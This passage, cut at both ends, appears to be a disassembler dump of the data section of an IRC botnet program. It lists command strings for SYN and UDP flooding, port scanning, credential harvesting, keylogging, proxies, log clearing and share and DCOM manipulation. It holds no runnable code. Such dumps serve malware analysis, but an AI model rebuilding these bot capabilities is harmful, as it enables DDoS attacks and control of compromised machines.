'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 10h aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 10h aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 10h aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_43264C db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_432698 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 10h aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 10h aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_432758 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_43278C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 10h aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 4 dword_432864 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_43288C dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_4328EC dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_432908 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_432914 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_432920 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_432930 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_43293C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_432948 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_432958 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_432964 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_432970 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_432980 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_43298C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_432998 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4329A4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4329B4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_4329D8 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_4329E4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_4329F0 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_4329F8 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_432A04 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_432A14 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_432A38 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 10h aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 10h aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 10h aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 10h asc_432AF0: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_0 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 10h aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 10h aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_432B34 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_432B74 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_432BB4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_432BF8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 10h dword_432C30 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_432C80 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_432CC8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_432CE0 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 4 dword_432D04 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_432D20 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_432D2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 10h dword_432D70 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_432D78 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_432D7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_432DAC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_432E08 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 4 asc_432E84: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_432E88 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_432E98 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 10h unk_432ED0 db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_432F08 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_432F3C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_432F74 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 10h dword_432FB0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_432FFC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_433038 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_433070 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0 aConst db 'const',0 align 4 dd 0 dword_43327C dd 1 ; DATA XREF: sub_415D01+7o off_433280 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_4332D4 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_4332DC db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_4332E0 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_4332E4 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_4332EC dd 334B32h ; DATA XREF: ___:00415C08o dword_4332F0 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_4332F8 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_4332FC db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_433370 dd offset dword_4333A8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_4333A0 align 10h off_433380 dd offset dword_43339C ; DATA XREF: sub_4162AC+1E3o dd offset off_433398 dd offset dword_433394 dd offset off_433390 off_433390 dd offset dword_5C3A44 ; DATA XREF: sub_415F88+217o ; ___:0043338Co dword_433394 dd 2444h ; DATA XREF: ___:00433388o off_433398 dd offset byte_5C3A43 ; DATA XREF: ___:00433384o dword_43339C dd 2443h ; DATA XREF: ___:off_433380o dword_4333A0 dd 494D4441h, 244Eh ; DATA XREF: ___:00433378o dword_4333A8 dd 24435049h, 0 ; DATA XREF: ___:off_433370o unk_4333B0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_4333F0 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_433428 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_433464 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_433498 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_4334D4 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_433508 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_433548 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_433594 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4335D8 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_433638 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_433678 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_4336A4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_4336E4 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_4336E8 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_433728 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_433760 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_433790 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_4337DC db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 